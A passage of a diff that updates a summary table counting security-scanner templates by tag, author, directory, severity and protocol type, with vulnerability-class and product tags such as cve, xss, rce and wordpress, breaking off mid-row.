sqli | 34 | hackergautam | 8 | | | | | | | -| oob | 32 | nadino | 8 | | | | | | | -| logs | 29 | aashiq | 8 | | | | | | | -| oracle | 29 | iamthefrogy | 8 | | | | | | | -| workflow | 29 | melbadry9 | 8 | | | | | | | -| ssrf | 27 | that_juan_ | 8 | | | | | | | -| misc | 27 | randomstr1ng | 7 | | | | | | | -| jira | 26 | dr_set | 7 | | | | | | | -| atlassian | 26 | emadshanab | 7 | | | | | | | -| disclosure | 25 | 0x240x23elu | 7 | | | | | | | -| cve2016 | 23 | oppsec | 7 | | | | | | | -| listing | 22 | harshbothra_ | 7 | | | | | | | -| redirect | 20 | techryptic (@tech) | 7 | | | | | | | -| aem | 19 | kophjager007 | 7 | | | | | | | -| cisco | 17 | r3dg33k | 7 | | | | | | | -| sap | 16 | puzzlepeaches | 6 | | | | | | | -| debug | 14 | caspergn | 6 | | | | | | | -| misconfig | 13 | __fazal | 6 | | | | | | | -| struts | 13 | yanyun | 5 | | | | | | | -| fuzz | 13 | joanbono | 5 | | | | | | | -| cve2015 | 13 | panch0r3d | 5 | | | | | | | -| adobe | 12 | ganofins | 5 | | | | | | | -| auth-bypass | 12 | pentest_swissky | 5 | | | | | | | -| weblogic | 12 | meme-lord | 4 | | | | | | | -| android | 12 | iamnoooob | 4 | | | | | | | -| dns | 11 | xelkomy | 4 | | | | | | | -| cve2012 | 11 | nodauf | 4 | | | | | | | -| zoho | 11 | elsfa7110 | 4 | | | | | | | -| springboot | 11 | github.com/its0x08 | 4 | | | | | | | -| cve2011 | 11 | rootxharsh | 4 | | | | | | | -| cve2014 | 10 | e_schultze_ | 4 | | | | | | | -| devops | 10 | impramodsargar | 3 | | | | | | | -| jenkins | 10 | z3bd | 3 | | | | | | | -| cve2013 | 10 | mavericknerd | 3 | | | | | | | -| php | 10 | binaryfigments | 3 | | | | | | | -| dlink | 10 | tess | 3 | | | | | | | -| magento | 9 | dudez | 3 | | | | | | | -| gitlab | 8 | shine | 3 | | | | | | | -| ftp | 8 | yash anand @yashanand155 | 3 | | | | | | | -| rails | 8 | fyoorer | 3 | | | | | | | -| aws | 8 | f1tz | 3 | | | | | | | -| airflow | 8 | thomas_from_offensity | 3 | | | | | | | -| cnvd | 8 | _generic_human_ | 3 | | | | | | | -| router | 8 | jarijaas | 3 | | | | | | | -| joomla | 7 | 0w4ys | 3 | | | | | | | -| nginx | 7 | ree4pwn | 2 | | | | | | | -| scada | 7 | joeldeleep | 2 | | | | | | | -| xxe | 7 | 0xsapra | 2 | | | | | | | -| vmware | 7 | incogbyte | 2 | | | | | | | -| coldfusion | 6 | x1m_martijn | 2 | | | | | | | -| jetty | 6 | vavkamil | 2 | | | | | | | -| rconfig | 6 | dheerajmadhukar | 2 | | | | | | | -| google | 6 | amsda | 2 | | | | | | | -| backup | 6 | fabaff | 2 | | | | | | | -| citrix | 6 | 0xrudra | 2 | | | | | | | -| api | 6 | 0xcrypto | 2 | | | | | | | -| cms | 6 | hetroublemakr | 2 | | | | | | | -| lucee | 5 | koti2 | 2 | | | | | | | -| java | 5 | 0xelkomy | 2 | | | | | | | -| dedecms | 5 | davidmckennirey | 2 | | | | | | | -| ruijie | 5 | mahendra purbia (mah3sec_) | 2 | | | | | | | -| drupal | 5 | bp0lr | 2 | | | | | | | -| django | 5 | udit_thakkur | 2 | | | | | | | -| dell | 5 | nkxxkn | 2 | | | | | | | -| circarlife | 5 | bing0o | 2 | | | | | | | -| ibm | 5 | bsysop | 2 | | | | | | | -| ssti | 5 | ehsahil | 2 | | | | | | | -| confluence | 5 | gevakun | 2 | | | | | | | -| cve2009 | 5 | lotusdll | 2 | | | | | | | -| netgear | 5 | lu4nx | 2 | | | | | | | -| login | 5 | random-robbie | 2 | | | | | | | -| headless | 5 | randomrobbie | 2 | | | | | | | -| laravel | 5 | manas_harsh | 2 | | | | | | | -| solr | 5 | moritz nentwig | 2 | | | | | | | -| iis | 5 | unstabl3 | 2 | | | | | | | -| phpmyadmin | 5 | afaq | 2 | | | | | | | -| files | 5 | pxmme1337 | 2 | | | | | | | -| thinkphp | 4 | 0xprial | 2 | | | | | | | -| hongdian | 4 | emenalf | 2 | | | | | | | -| solarwinds | 4 | zomsop82 | 2 | | | | | | | -| magmi | 4 | shifacyclewala | 2 | | | | | | | -| tomcat | 4 | w4cky_ | 2 | | | | | | | -| samsung | 4 | foulenzer | 2 | | | | | | | -| jolokia | 4 | swissky | 2 | | | | | | | -| webserver | 4 | kiblyn11 | 2 | | | | | | | -| elastic | 4 | thevillagehacker | 1 | | | | | | | -| traversal | 4 | bernardo rodrigues | 1 | | | | | | | -| | | @bernardofsr | andré monteiro | | | | | | | | -| | | @am0nt31r0 | | | | | | | | -| vpn | 4 | sshell | 1 | | | | | | | -| artifactory | 4 | gal nagli | 1 | | | | | | | -| fileupload | 4 | mubassirpatel | 1 | | | | | | | -| nodejs | 4 | furkansenan | 1 | | | | | | | -| moodle | 4 | un-fmunozs | 1 | | | | | | | -| crlf | 4 | thezakman | 1 | | | | | | | -| asp | 4 | aaron_costello | 1 | | | | | | | -| | | (@conspiracyproof) | | | | | | | | -| docker | 4 | j33n1k4 | 1 | | | | | | | -| thinkcmf | 4 | kareemse1im | 1 | | | | | | | -| grafana | 3 | divya_mudgal | 1 | | | | | | | -| springcloud | 3 | 0xrod | 1 | | | | | | | -| slack | 3 | naglinagli | 1 | | | | | | | -| microstrategy | 3 | @dwisiswant0 | 1 | | | | | | | -| nacos | 3 | _darrenmartyn | 1 | | | | | | | -| ofbiz | 3 | johnjhacking | 1 | | | | | | | -| windows | 3 | bad5ect0r | 1 | | | | | | | -| nosqli | 3 | regala_ | 1 | | | | | | | -| backups | 3 | geraldino2 | 1 | | | | | | | -| fpd | 3 | smaranchand | 1 | | | | | | | -| kubernetes | 3 | wabafet | 1 | | | | | | | -| hp | 3 | gboddin | 1 | | | | | | | -| ebs | 3 | makyotox | 1 | | | | | | | -| targa | 3 | chron0x | 1 | | | | | | | -| ssh | 3 | g4l1t0 and @convisoappsec | 1 | | | | | | | -| vbulletin | 3 | akash.c | 1 | | | | | | | -| oa | 3 | fmunozs | 1 | | | | | | | -| r-seenet | 3 | daviey | 1 | | | | | | | -| amazon | 3 | blckraven | 1 | | | | | | | -| resin | 3 | alex | 1 | | | | | | | -| caucho | 3 | knassar702 | 1 | | | | | | | -| cve2010 | 3 | remonsec | 1 | | | | | | | -| mongodb | 3 | noamrathaus | 1 | | | | | | | -| fanruan | 3 | soyelmago | 1 | | | | | | | -| deserialization | 3 | shreyapohekar | 1 | | | | | | | -| log | 3 | ohlinge | 1 | | | | | | | -| git | 3 | cookiehanhoan | 1 | | | | | | | -| openssh | 3 | retr0 | 1 | | | | | | | -| terramaster | 3 | 0xtavian | 1 | | | | | | | -| bypass | 3 | bolli95 | 1 | | | | | | | -| kafka | 3 | ldionmarcil | 1 | | | | | | | -| lfr | 3 | fopina | 1 | | | | | | | -| printer | 3 | jeya seelan | 1 | | | | | | | -| frp | 2 | nytr0gen | 1 | | | | | | | -| jboss | 2 | rtcms | 1 | | | | | | | -| ucmdb | 2 | elmahdi | 1 | | | | | | | -| webcam | 2 | defr0ggy | 1 | | | | | | | -| plesk | 2 | c3l3si4n | 1 | | | | | | | -| microsoft | 2 | vsh00t | 1 | | | | | | | -| proxy | 2 | exploitation | 1 | | | | | | | -| trixbox | 2 | andysvints | 1 | | | | | | | -| paloalto | 2 | 52971 | 1 | | | | | | | -| xxljob | 2 | mah3sec_ | 1 | | | | | | | -| keycloak | 2 | manikanta a.k.a @secureitmania | 1 | | | | | | | -| smb | 2 | sickwell | 1 | | | | | | | -| linkerd | 2 | dawid czarnecki | 1 | | | | | | | -| natshell | 2 | affix | 1 | | | | | | | -| jellyfin | 2 | yashanand155 | 1 | | | | | | | -| globalprotect | 2 | mhdsamx | 1 | | | | | | | -| httpd | 2 | whynotke | 1 | | | | | | | -| hjtcloud | 2 | bjhulst | 1 | | | | | | | -| sonarqube | 2 | d0rkerdevil | 1 | | | | | | | -| cache | 2 | raesene | 1 | | | | | | | -| showdoc | 2 | undefl0w | 1 | | | | | | | -| vrealize | 2 | sushant kamble | 1 | | | | | | | -| | | (https://in.linkedin.com/in/sushantkamble) | | | | | | | | -| dos | 2 | ipanda | 1 | | | | | | | -| kibana | 2 | co0nan | 1 | | | | | | | -| mida | 2 | patralos | 1 | | | | | | | -| oauth | 2 | sicksec | 1 | | | | | | | -| fortios | 2 | hakluke | 1 | | | | | | | -| rstudio | 2 | luci | 1 | | | | | | | -| strapi | 2 | ahmed sherif | 1 | | | | | | | -| cve2008 | 2 | streetofhackerr007 | 1 | | | | | | | -| shellshock | 2 | rojanrijal | 1 | | | | | | | -| openfire | 2 | 0ut0fb4nd | 1 | | | | | | | -| intrusive | 2 | alph4byt3 | 1 | | | | | | | -| kentico | 2 | b0yd | 1 | | | | | | | -| emerge | 2 | hanlaomo | 1 | | | | | | | -| kevinlab | 2 | revblock | 1 | | | | | | | -| hpe | 2 | sullo | 1 | | | | | | | -| mail | 2 | andirrahmani1 | 1 | | | | | | | -| ecology | 2 | sy3omda | 1 | | | | | | | -| yapi | 2 | kabirsuda | 1 | | | | | | | -| idrac | 2 | alifathi-h1 | 1 | | | | | | | -| splunk | 2 | idealphase | 1 | | | | | | | -| cve2007 | 2 | kba@sogeti_esec | 1 | | | | | | | -| rockmongo | 2 | deena | 1 | | | | | | | -| openam | 2 | taielab | 1 | | | | | | | -| zhiyuan | 2 | alperenkesk | 1 | | | | | | | -| seeyon | 2 | micha3lb3n | 1 | | | | | | | -| wordfence | 2 | shelld3v | 1 | | | | | | | -| smtp | 2 | becivells | 1 | | | | | | | -| odoo | 2 | s1r1u5_ | 1 | | | | | | | -| service | 2 | toufik airane | 1 | | | | | | | -| waf | 2 | luskabol | 1 | | | | | | | -| nagios | 2 | arcc | 1 | | | | | | | -| rockethchat | 2 | schniggie | 1 | | | | | | | -| zabbix | 2 | th3.d1p4k | 1 | | | | | | | -| chiyu | 2 | 0xteles | 1 | | | | | | | -| couchdb | 2 | _harleo | 1 | | | | | | | -| prometheus | 2 | pdp | 1 | | | | | | | -| injection | 2 | kurohost | 1 | | | | | | | -| telerik | 2 | notsoevilweasel | 1 | | | | | | | -| chamilo | 2 | ringo | 1 | | | | | | | -| nexus | 2 | pudsec | 1 | | | | | | | -| bigip | 2 | omarkurt | 1 | | | | | | | -| huawei | 2 | flag007 | 1 | | | | | | | -| glassfish | 2 | dogasantos | 1 | | | | | | | -| leak | 2 | vzamanillo | 1 | | | | | | | -| voipmonitor | 2 | yavolo | 1 | | | | | | | -| bitrix | 2 | @github.com/defr0ggy | 1 | | | | | | | -| pega | 2 | juicypotato1 | 1 | | | | | | | -| igs | 2 | ilovebinbash | 1 | | | | | | | -| maian | 2 | iampritam | 1 | | | | | | | -| spark | 2 | abison_binoy | 1 | | | | | | | -| hashicorp | 2 | 0h1in9e | 1 | | | | | | | -| saltstack | 2 | apt-mirror | 1 | | | | | | | -| icewarp | 2 | yashgoti | 1 | | | | | | | -| activemq | 2 | willd96 | 1 | | | | | | | -| sonicwall | 2 | absshax | 1 | | | | | | | -| sharepoint | 2 | sid ahmed malaoui @ realistic | 1 | | | | | | | -| | | security | | | | | | | | -| flir | 2 | kishore krishna (sillydaddy) | 1 | | | | | | | -| nextjs | 2 | tirtha_mandal | 1 | | | | | | | -| redcap | 1 | _c0wb0y_ | 1 | | | | | | | -| mantis | 1 | r3naissance | 1 | | | | | | | -| npm | 1 | aceseven (digisec360) | 1 | | | | | | | -| anchorcms | 1 | j3ssie/geraldino2 | 1 | | | | | | | -| k8s | 1 | bernardofsr | 1 | | | | | | | -| shopxo | 1 | johnk3r | 1 | | | | | | | -| alibaba | 1 | rodnt | 1 | | | | | | | -| axis | 1 | akshansh | 1 | | | | | | | -| jsf | 1 | jteles | 1 | | | | | | | -| servicenow | 1 | ivo palazzolo (@palaziv) | 1 | | | | | | | -| expn | 1 | ratnadip gajbhiye | 1 | | | | | | | -| sco | 1 | its0x08 | 1 | | | | | | | -| h3c-imc | 1 | mohammedsaneem | 1 | | | | | | | -| powercreator | 1 | shifacyclewla | 1 | | | | | | | -| haproxy | 1 | aresx | 1 | | | | | | | -| gateone | 1 | ooooooo_q | 1 | | | | | | | -| plugin | 1 | zandros0 | 1 | | | | | | | -| duomicms | 1 | ajaysenr | 1 | | | | | | | -| addpac | 1 | berkdusunur | 1 | | | | | | | -| blind | 1 | qlkwej | 1 | | | | | | | -| netsweeper | 1 | petruknisme | 1 | | | | | | | -| javamelody | 1 | tim_koopmans | 1 | | | | | | | -| wiki | 1 | manuelbua | 1 | | | | | | | -| faraday | 1 | streetofhackerr007 (rohit | 1 | | | | | | | -| | | soni) | | | | | | | | -| ec2 | 1 | zhenwarx | 1 | | | | | | | -| mongoshake | 1 | b4uh0lz | 1 | | | | | | | -| xiuno | 1 | | | | | | | | | -| xunchi | 1 | | | | | | | | | -| aura | 1 | | | | | | | | | -| clockwatch | 1 | | | | | | | | | -| monitorix | 1 | | | | | | | | | -| comodo | 1 | | | | | | | | | -| labtech | 1 | | | | | | | | | -| goahead | 1 | | | | | | | | | -| arl | 1 | | | | | | | | | -| drone | 1 | | | | | | | | | -| rujjie | 1 | | | | | | | | | -| mariadb | 1 | | | | | | | | | -| checkpoint | 1 | | | | | | | | | -| 74cms | 1 | | | | | | | | | -| jsp | 1 | | | | | | | | | -| lotuscms | 1 | | | | | | | | | -| mcafee | 1 | | | | | | | | | -| ganglia | 1 | | | | | | | | | -| sangfor | 1 | | | | | | | | | -| dom | 1 | | | | | | | | | -| memcached | 1 | | | | | | | | | -| fortigates | 1 | | | | | | | | | -| doh | 1 | | | | | | | | | -| openerp | 1 | | | | | | | | | -| rfi | 1 | | | | | | | | | -| opensns | 1 | | | | | | | | | -| extractor | 1 | | | | | | | | | -| javascript | 1 | | | | | | | | | -| fortigate | 1 | | | | | | | | | -| socomec | 1 | | | | | | | | | -| csod | 1 | | | | | | | | | -| jnoj | 1 | | | | | | | | | -| pagespeed | 1 | | | | | | | | | -| beanshell | 1 | | | | | | | | | -| springframework | 1 | | | | | | | | | -| manageengine | 1 | | | | | | | | | -| netrc | 1 | | | | | | | | | -| wavemaker | 1 | | | | | | | | | -| ntopng | 1 | | | | | | | | | -| dotnet | 1 | | | | | | | | | -| solman | 1 | | | | | | | | | -| trilithic | 1 | | | | | | | | | -| nomad | 1 | | | | | | | | | -| glances | 1 | | | | | | | | | -| landray | 1 | | | | | | | | | -| ssltls | 1 | | | | | | | | | -| horde | 1 | | | | | | | | | -| emby | 1 | | | | | | | | | -| traefik | 1 | | | | | | | | | -| szhe | 1 | | | | | | | | | -| darkstat | 1 | | | | | | | | | -| dvr | 1 | | | | | | | | | -| synnefo | 1 | | | | | | | | | -| acme | 1 | | | | | | | | | -| selea | 1 | | | | | | | | | -| akamai | 1 | | | | | | | | | -| grav | 1 | | | | | | | | | -| tapestry | 1 | | | | | | | | | -| vnc | 1 | | | | | | | | | -| azure | 1 | | | | | | | | | -| htmli | 1 | | | | | | | | | -| emc | 1 | | | | | | | | | -| pgadmin | 1 | | | | | | | | | -| domxss | 1 | | | | | | | | | -| erp-nc | 1 | | | | | | | | | -| bash | 1 | | | | | | | | | -| octobercms | 1 | | | | | | | | | -| turbocrm | 1 | | | | | | | | | -| nette | 1 | | | | | | | | | -| jfrog | 1 | | | | | | | | | -| tongda | 1 | | | | | | | | | -| phpunit | 1 | | | | | | | | | -| cse | 1 | | | | | | | | | -| xff | 1 | | | | | | | | | -| spectracom | 1 | | | | | | | | | -| lutron | 1 | | | | | | | | | -| centos | 1 | | | | | | | | | -| b2evolution | 1 | | | | | | | | | -| alerta | 1 | | | | | | | | | -| cloudinary | 1 | | | | | | | | | -| default-login | 1 | | | | | | | | | -| subrion | 1 | | | | | | | | | -| zeroshell | 1 | | | | | | | | | -| lancom | 1 | | | | | | | | | -| netis | 1 | | | | | | | | | -| openstack | 1 | | | | | | | | | -| sceditor | 1 | | | | | | | | | -| sentry | 1 | | | | | | | | | -| scs | 1 | | | | | | | | | -| spf | 1 | | | | | | | | | -| hadoop | 1 | | | | | | | | | -| pippoint | 1 | | | | | | | | | -| iptime | 1 | | | | | | | | | -| geddy | 1 | | | | | | | | | -| robomongo | 1 | | | | | | | | | -| seacms | 1 | | | | | | | | | -| phalcon | 1 | | | | | | | | | -| clusterengine | 1 | | | | | | | | | -| starttls | 1 | | | | | | | | | -| pyramid | 1 | | | | | | | | | -| eyou | 1 | | | | | | | | | -| zm | 1 | | | | | | | | | -| biometrics | 1 | | | | | | | | | -| grails | 1 | | | | | | | | | -| spidercontrol | 1 | | | | | | | | | -| myucms | 1 | | | | | | | | | -| flash | 1 | | | | | | | | | -| mobileiron | 1 | | | | | | | | | -| avalanche | 1 | | | | | | | | | -| rdp | 1 | | | | | | | | | -| cocoon | 1 | | | | | | | | | -| moinmoin | 1 | | | | | | | | | -| dvwa | 1 | | | | | | | | | -| favicon | 1 | | | | | | | | | -| redhat | 1 | | | | | | | | | -| linksys | 1 | | | | | | | | | -| hasura | 1 | | | | | | | | | -| gloo | 1 | | | | | | | | | -| portainer | 1 | | | | | | | | | -| zmanda | 1 | | | | | | | | | -| webmodule-ee | 1 | | | | | | | | | -| pulsesecure | 1 | | | | | | | | | -| gitlist | 1 | | | | | | | | | -| csrf | 1 | | | | | | | | | -| bitly | 1 | | | | | | | | | -| finereport | 1 | | | | | | | | | -| primetek | 1 | | | | | | | | | -| tenda | 1 | | | | | | | | | -| accela | 1 | | | | | | | | | -| chinaunicom | 1 | | | | | | | | | -| dlogin | 1 | | | | | | | | | -| shopware | 1 | | | | | | | | | -| opentsdb | 1 | | | | | | | | | -| tika | 1 | | | | | | | | | -| nuuo | 1 | | | | | | | | | -| circontrorl | 1 | | | | | | | | | -| expressjs | 1 | | | | | | | | | -| panos | 1 | | | | | | | | | -| openrestry | 1 | | | | | | | | | -| kyan | 1 | | | | | | | | | -| totaljs | 1 | | | | | | | | | -| majordomo2 | 1 | | | | | | | | | -| zimbra | 1 | | | | | | | | | -| phpfusion | 1 | | | | | | | | | -| db | 1 | | | | | | | | | -| zzzcms | 1 | | | | | | | | | -| wazuh | 1 | | | | | | | | | -| webui | 1 | | | | | | | | | -| sqlite | 1 | | | | | | | | | -| ns | 1 | | | | | | | | | -| salesforce | 1 | | | | | | | | | -| wavlink | 1 | | | | | | | | | -| mysql | 1 | | | | | | | | | -| viewlinc | 1 | | | | | | | | | -| mpsec | 1 | | | | | | | | | -| realteo | 1 | | | | | | | | | -| commscope | 1 | | | | | | | | | -| ruby | 1 | | | | | | | | | -| vsphere | 1 | | | | | | | | | -| webadmin | 1 | | | | | | | | | -| skywalking | 1 | | | | | | | | | -| krweb | 1 | | | | | | | | | -| sidekiq | 1 | | | | | | | | | -| ricoh | 1 | | | | | | | | | -| postmessage | 1 | | | | | | | | | -| jeewms | 1 | | | | | | | | | -| esmtp | 1 | | | | | | | | | -| zend | 1 | | | | | | | | | -| keenetic | 1 | | | | | | | | | -| linkedin | 1 | | | | | | | | | -| aspnuke | 1 | | | | | | | | | -| hortonworks | 1 | | | | | | | | | -| zte | 1 | | | | | | | | | -| ruckus | 1 | | | | | | | | | -| ilo4 | 1 | | | | | | | | | -| xdcms | 1 | | | | | | | | | -| sarg | 1 | | | | | | | | | -| 2014 | 1 | | | | | | | | | -| opm | 1 | | | | | | | | | -| druid | 1 | | | | | | | | | -| calendarix | 1 | | | | | | | | | -| kafdrop | 1 | | | | | | | | | -| plone | 1 | | | | | | | | | -| zenario | 1 | | | | | | | | | -| mdb | 1 | | | | | | | | | -| maccmsv10 | 1 | | | | | | | | | -| discord | 1 | | | | | | | | | -| payara | 1 | | | | | | | | | -| pacsone | 1 | | | | | | | | | -| adminer | 1 | | | | | | | | | -| wuzhicms | 1 | | | | | | | | | -| kong | 1 | | | | | | | | | -| tpshop | 1 | | | | | | | | | -| moin | 1 | | | | | | | | | -| mantisbt | 1 | | | | | | | | | -| jenzabar | 1 | | | | | | | | | -| metinfo | 1 | | | | | | | | | -| wooyun | 1 | | | | | | | | | -| lanproxy | 1 | | | | | | | | | -| lighttpd | 1 | | | | | | | | | -| mailchimp | 1 | | | | | | | | | -| rhymix | 1 | | | | | | | | | -| k8 | 1 | | | | | | | | | -| cacti | 1 | | | | | | | | | -| apiman | 1 | | | | | | | | | -| upnp | 1 | | | | | | | | | -| etouch | 1 | | | | | | | | | -| nsasg | 1 | | | | | | | | | -| feifeicms | 1 | | | | | | | | | -| webftp | 1 | | | | | | | | | -| embedthis | 1 | | | | | | | | | -| lansweeper | 1 | | | | | | | | | -| itop | 1 | | | | | | | | | -| ssl | 1 | | | | | | | | | -| parentlink | 1 | | | | | | | | | -| enum | 1 | | | | | | | | | -| yachtcontrol | 1 | | | | | | | | | -| smartsense | 1 | | | | | | | | | -| geutebruck | 1 | | | | | | | | | -| harbor | 1 | | | | | | | | | -| rmi | 1 | | | | | | | | | -| rmc | 1 | | | | | | | | | -| netdata | 1 | | | | | | | | | -| concrete | 1 | | | | | | | | | -| timeclock | 1 | | | | | | | | | -| fortinet | 1 | | | | | | | | | -| expose | 1 | | | | | | | | | -| redis | 1 | | | | | | | | | -| phpinfo | 1 | | | | | | | | | -| email | 1 | | | | | | | | | -| servicedesk | 1 | | | | | | | | | -| stem | 1 | | | | | | | | | -| svn | 1 | | | | | | | | | -| soar | 1 | | | | | | | | | -| exacqvision | 1 | | | | | | | | | -| bolt | 1 | | | | | | | | | -| eprints | 1 | | | | | | | | | -| razor | 1 | | | | | | | | | -| diris | 1 | | | | | | | | | -| uwsgi | 1 | | | | | | | | | -| zookeeper | 1 | | | | | | | | | -| fastapi | 1 | | | | | | | | | -| fiori | 1 | | | | | | | | | -| monitorr | 1 | | | | | | | | | -| sprintful | 1 | | | | | | | | | -| vscode | 1 | | | | | | | | | -| panabit | 1 | | | | | | | | | -| nexusdb | 1 | | | | | | | | | -| gridx | 1 | | | | | | | | | -| xmlchart | 1 | | | | | | | | | -| vsftpd | 1 | | | | | | | | | -| clave | 1 | | | | | | | | | -| varnish | 1 | | | | | | | | | -| landrayoa | 1 | | | | | | | | | -| chevereto | 1 | | | | | | | | | -| crm | 1 | | | | | | | | | -| acexy | 1 | | | | | | | | | -| appweb | 1 | | | | | | | | | -| fortilogger | 1 | | | | | | | | | -| triconsole | 1 | | | | | | | | | -| tileserver | 1 | | | | | | | | | -| liferay | 1 | | | | | | | | | -| fedora | 1 | | | | | | | | | -| wifisky | 1 | | | | | | | | | -| fortiweb | 1 | | | | | | | | | -| svnserve | 1 | | | | | | | | | -| wildfly | 1 | | | | | | | | | -| oscommerce | 1 | | | | | | | | | -| postgres | 1 | | | | | | | | | -| cors | 1 | | | | | | | | | -| dotclear | 1 | | | | | | | | | -| nuxeo | 1 | | | | | | | | | -| kerbynet | 1 | | | | | | | | | -| circontrol | 1 | | | | | | | | | -| tensorboard | 1 | | | | | | | | | -| kubeflow | 1 | | | | | | | | | -| rubedo | 1 | | | | | | | | | -| spring | 1 | | | | | | | | | -| huijietong | 1 | | | | | | | | | -| floc | 1 | | | | | | | | | -| avtech | 1 | | | | | | | | | -| bruteforce | 1 | | | | | | | | | -| blackboard | 1 | | | | | | | | | -| viewpoint | 1 | | | | | | | | | -| wso2 | 1 | | | | | | | | | -| ambari | 1 | | | | | | | | | -| visionhub | 1 | | | | | | | | | -| exchange | 1 | | | | | | | | | -| st | 1 | | | | | | | | | -| livezilla | 1 | | | | | | | | | -| ioncube | 1 | | | | | | | | | -| idemia | 1 | | | | | | | | | -| thinkadmin | 1 | | | | | | | | | -| codeigniter | 1 | | | | | | | | | -| wmt | 1 | | | | | | | | | -| redwood | 1 | | | | | | | | | -| opencast | 1 | | | | | | | | | -| plc | 1 | | | | | | | | | -| ueditor | 1 | | | | | | | | | -| dotnetnuke | 1 | | | | | | | | | -| firebase | 1 | | | | | | | | | -| mautic | 1 | | | | | | | | | -| cloudflare | 1 | | | | | | | | | -| wp-theme | 1 | | | | | | | | | -| cve2005 | 1 | | | | | | | | | -| nedi | 1 | | | | | | | | | -| plastic | 1 | | | | | | | | | -| optiLink | 1 | | | | | | | | | -| empirecms | 1 | | | | | | | | | -| mediumish | 1 | | | | | | | | | -| flink | 1 | | | | | | | | | -| jenkin | 1 | | | | | | | | | -| codemeter | 1 | | | | | | | | | -| blue-ocean | 1 | | | | | | | | | -| visualtools | 1 | | | | | | | | | -| sitecore | 1 | | | | | | | | | -| zarafa | 1 | | | | | | | | | -| backdoor | 1 | | | | | | | | | -| woocomernce | 1 | | | | | | | | | -| weiphp | 1 | | | | | | | | | -| nordex | 1 | | | | | | | | | -| interlib | 1 | | | | | | | | | -| glpi | 1 | | | | | | | | | -| fastcgi | 1 | | | | | | | | | -| heroku | 1 | | | | | | | | | -| mara | 1 | | | | | | | | | -| cobub | 1 | | | | | | | | | -| setup | 1 | | | | | | | | | -| akkadian | 1 | | | | | | | | | -| cgi | 1 | | | | | | | | | -| scimono | 1 | | | | | | | | | -| upload | 1 | | | | | | | | | -| proftpd | 1 | | | | | | | | | -| nc2 | 1 | | | | | | | | | -| jmx | 1 | | | | | | | | | -| octoprint | 1 | | | | | | | | | -| discourse | 1 | | | | | | | | | -| saltapi | 1 | | | | | | | | | -| timesheet | 1 | | | | | | | | | -| webmin | 1 | | | | | | | | | -| apos | 1 | | | | | | | | | -| rabbitmq | 1 | | | | | | | | | -| mongo | 1 | | | | | | | | | -| mirai | 1 | | | | | | | | | -| tamronos | 1 | | | | | | | | | -| swagger | 1 | | | | | | | | | -| nps | 1 | | | | | | | | | -| bullwark | 1 | | | | | | | | | -| symfony | 1 | | | | | | | | | -| node | 1 | | | | | | | | | -| ecom | 1 | | | | | | | | | -| bookstack | 1 | | | | | | | | | -| node-red-dashboard | 1 | | | | | | | | | -| dompdf | 1 | | | | | | | | | -| ems | 1 | | | | | | | | | -| bedita | 1 | | | | | | | | | -| magicflow | 1 | | | | | | | | | -| rsyncd | 1 | | | | | | | | | -| fuelcms | 1 | | | | | | | | | -| enumeration | 1 | | | | | | | | | -| wamp | 1 | | | | | | | | | -| javafaces | 1 | | | | | | | | | -| opensmtpd | 1 | | | | | | | | | -| alertmanager | 1 | | | | | | | | | -| jitsi | 1 | | | | | | | | | -| gogs | 1 | | | | | | | | | -| ulterius | 1 | | | | | | | | | -| episerver | 1 | | | | | | | | | -| jquery | 1 | | | | | | | | | -| yii | 1 | | | | | | | | | -| klog | 1 | | | | | | | | | -| xml | 1 | | | | | | | | | -| zcms | 1 | | | | | | | | | -| hiboss | 1 | | | | | | | | | -| status | 1 | | | | | | | | | -| tensorflow | 1 | | | | | | | | | +| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | +|--------------------|-------|--------------------------------|-------|-------------------------|-------|----------|-------|---------|-------| +| cve | 590 | dhiyaneshdk | 239 | cves | 597 | info | 583 | http | 1720 | +| panel | 219 | pikpikcu | 237 | vulnerabilities | 265 | high | 465 | file | 46 | +| xss | 215 | pdteam | 194 | exposed-panels | 221 | medium | 387 | network | 35 | +| wordpress | 201 | daffainfo | 136 | exposures | 174 | critical | 226 | dns | 11 | +| exposure | 196 | dwisiswant0 | 128 | technologies | 159 | low | 156 | | | +| rce | 187 | geeknik | 127 | misconfiguration | 124 | | | | | +| lfi | 176 | gy741 | 68 | takeovers | 70 | | | | | +| cve2020 | 155 | madrobot | 60 | default-logins | 51 | | | | | +| wp-plugin | 136 | princechaddha | 53 | file | 46 | | | | | +| tech | 101 | gaurang | 42 | workflows | 35 | | | | | +| cve2021 | 96 | pussycat0x | 41 | miscellaneous | 27 | | | | | +| config | 91 | ice3man | 26 | network | 27 | | | | | +| cve2019 | 87 | organiccrap | 24 | iot | 23 | | | | | +| cve2018 | 76 | 0x_akoko | 23 | dns | 11 | | | | | +| takeover | 73 | philippedelteil | 17 | cnvd | 9 | | | | | +| | 65 | sheikhrishad | 15 | fuzzing | 8 | | | | | +| token | 64 | milo2012 | 14 | headless | 5 | | | | | +| apache | 64 | pr3r00t | 13 | .pre-commit-config.yaml | 1 | | | | | +| default-login | 55 | techbrunchfr | 13 | | | | | | | +| iot | 48 | suman_kar | 12 | | | | | | | +| cve2017 | 47 | cyllective | 11 | | | | | | | +| file | 46 | random_robbie | 10 | | | | | | | +| oob | 44 | r3dg33k | 10 | | | | | | | +| unauth | 42 | righettod | 10 | | | | | | | +| network | 35 | wdahlenb | 9 | | | | | | | +| sqli | 35 | hackergautam | 9 | | | | | | | +| cve2016 | 32 | nadino | 8 | | | | | | | +| ssrf | 31 | aashiq | 8 | | | | | | | +| workflow | 30 | iamthefrogy | 8 | | | | | | | +| logs | 29 | that_juan_ | 8 | | | | | | | +| oracle | 29 | melbadry9 | 8 | | | | | | | +| misc | 27 | emadshanab | 7 | | | | | | | +| atlassian | 26 | techryptic (@tech) | 7 | | | | | | | +| jira | 26 | dr_set | 7 | | | | | | | +| redirect | 25 | harshbothra_ | 7 | | | | | | | +| listing | 24 | 0x240x23elu | 7 | | | | | | | +| aem | 19 | randomstr1ng | 7 | | | | | | | +| generic | 19 | kophjager007 | 7 | | | | | | | +| sap | 18 | oppsec | 7 | | | | | | | +| cve2015 | 18 | puzzlepeaches | 6 | | | | | | | +| cisco | 18 | caspergn | 6 | | | | | | | +| disclosure | 17 | __fazal | 6 | | | | | | | +| springboot | 15 | yanyun | 5 | | | | | | | +| cve2014 | 15 | ganofins | 5 | | | | | | | +| joomla | 15 | panch0r3d | 5 | | | | | | | +| cve2012 | 14 | iamnoooob | 5 | | | | | | | +| debug | 14 | pentest_swissky | 5 | | | | | | | +| auth-bypass | 13 | joanbono | 5 